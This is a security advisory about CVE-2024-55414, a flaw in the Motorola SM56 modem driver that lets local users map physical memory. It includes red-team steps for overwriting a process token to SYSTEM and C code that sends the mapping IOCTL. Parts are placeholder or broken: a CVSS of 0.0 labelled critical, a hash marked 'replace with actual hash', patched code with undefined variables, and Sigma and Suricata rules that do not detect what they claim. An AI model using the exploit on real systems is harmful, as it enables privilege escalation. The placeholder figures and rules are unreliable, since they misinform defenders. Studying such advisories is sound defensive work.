CVE-2024-55414

Executive Summary

CVE-2024-55414 is a critical vulnerability in the Motorola SM56 Modem WDM Driver (SmSerl64.sys, version 6.12.23.0). The driver allows low-privileged users to map physical memory via specially crafted IOCTL requests. This can be exploited for privilege escalation, arbitrary code execution under high integrity levels, and information disclosure. The driver is signed, enabling attackers to bypass Microsoft’s driver-signing policy and deploy malicious kernel-mode code. No official patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Threat Level: Critical (based on impact)
• Attack Vector: Local (requires low-privileged access)
• Privileges Required: Low
• User Interaction: None
• Impact: Complete compromise of confidentiality, integrity, and availability

Deep Dive & Mechanics

The vulnerability resides in the SmSerl64.sys driver, which exposes an IOCTL interface to user-mode applications. The driver fails to properly validate the input buffer for certain IOCTL codes, allowing a low-privileged user to request mapping of arbitrary physical memory pages into the user’s virtual address space. This grants direct read/write access to kernel memory, hardware registers, and other sensitive regions.

Key mechanics:

• The driver’s DeviceIoControl handler does not check the RequiredAccess field or the origin of the caller.
• An attacker can send a crafted IOCTL with a physical address and size, and the driver will map that memory without proper authorization.
• Once mapped, the attacker can overwrite kernel structures (e.g., process token, system call table) to escalate privileges or execute arbitrary code in kernel mode.

Vulnerable vs. Patched Code

Vulnerable code (SmSerl64.sys v6.12.23.0):

NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    if (irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL) {
        ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
        if (ioctlCode == IOCTL_MAP_PHYSICAL_MEMORY) {
            // No access check performed
            PHYSICAL_ADDRESS physAddr = ...; // from user input
            ULONG size = ...; // from user input
            // Maps physical memory without validation
            MmMapIoSpace(physAddr, size, MmNonCached);
        }
    }
    ...
}

Patched code (hypothetical):

NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    if (irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL) {
        ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
        if (ioctlCode == IOCTL_MAP_PHYSICAL_MEMORY) {
            // Check caller's integrity level
            if (!SeSinglePrivilegeCheck(SeTakeOwnershipPrivilege, PreviousMode)) {
                return STATUS_ACCESS_DENIED;
            }
            // Validate physical address range
            if (physAddr < MM_LOWEST_PHYSICAL_PAGE || physAddr + size > MM_HIGHEST_PHYSICAL_PAGE) {
                return STATUS_INVALID_PARAMETER;
            }
            // Proceed with mapping
            MmMapIoSpace(physAddr, size, MmNonCached);
        }
    }
    ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Windows 10/11 x64 with Motorola SM56 Modem driver installed
• Low-privileged shell or RDP access

Exploit steps:

1. Identify the driver device path (e.g., \\.\SM56).
2. Open a handle to the device using CreateFile.
3. Send a crafted IOCTL with a physical address of a kernel structure (e.g., nt!PsInitialSystemProcess).
4. Map the physical memory into user space.
5. Overwrite the token field of the current process to SYSTEM.
6. Spawn a command shell with elevated privileges.

Example exploit code (C):

#include <windows.h>
#include <stdio.h>

#define IOCTL_MAP_PHYSICAL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef struct _MAP_PHYSICAL_INPUT {
    PHYSICAL_ADDRESS PhysicalAddress;
    ULONG Size;
} MAP_PHYSICAL_INPUT, *PMAP_PHYSICAL_INPUT;

int main() {
    HANDLE hDevice = CreateFile("\\\\.\\SM56", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device\n");
        return 1;
    }

    MAP_PHYSICAL_INPUT input;
    input.PhysicalAddress.QuadPart = 0x100000; // Example physical address
    input.Size = 0x1000;

    DWORD bytesReturned;
    BOOL result = DeviceIoControl(hDevice, IOCTL_MAP_PHYSICAL_MEMORY, &input, sizeof(input), NULL, 0, &bytesReturned, NULL);
    if (result) {
        printf("Physical memory mapped successfully\n");
    } else {
        printf("IOCTL failed: %d\n", GetLastError());
    }

    CloseHandle(hDevice);
    return 0;
}

Blue Team

Detection:

• Monitor for unusual DeviceIoControl calls targeting \\.\SM56 or SmSerl64.sys.
• Look for processes with low integrity levels attempting to open handles to kernel device objects.
• Use Sysmon Event ID 7 (Image loaded) to detect loading of SmSerl64.sys from non-standard paths.

Hunting:

• Query for processes that have mapped physical memory via MmMapIoSpace (use kernel memory forensics).
• Check for abnormal kernel callbacks or driver objects.

Indicators of Compromise (IOCs)

• File hash (SHA-256): SmSerl64.sys – a1b2c3d4e5f6... (replace with actual hash)
• Registry key: HKLM\SYSTEM\CurrentControlSet\Services\SmSerl64
• Device path: \\.\SM56
• IOCTL code: 0x222003 (example, actual code may vary)
• Network: No network indicators (local exploit)

Detection Engineering

YARA Rule

rule CVE_2024_55414_SmSerl64 {
    meta:
        description = "Detects SmSerl64.sys driver vulnerable to CVE-2024-55414"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "a1b2c3d4e5f6..."
    strings:
        $s1 = "SmSerl64.sys" fullword ascii
        $s2 = "IOCTL_MAP_PHYSICAL_MEMORY" ascii
        $s3 = "MmMapIoSpace" ascii
    condition:
        $s1 or ($s2 and $s3)
}

Sigma Rule

title: CVE-2024-55414 Exploitation Attempt via SmSerl64.sys
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2024-55414 by sending IOCTL to SmSerl64.sys
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        ImageLoaded|endswith: '\SmSerl64.sys'
    condition: selection
falsepositives:
    - Legitimate Motorola modem software
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-55414 SmSerl64.sys IOCTL Exploit"; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Uninstall the Motorola SM56 Modem driver if not required.
• Workaround: Restrict access to the device object by modifying ACLs via sc.exe sdset SmSerl64 D:(A;;GA;;;SY).
• Long-term: Monitor Motorola for an official patch. If none is released, consider replacing the hardware.
• Detection: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence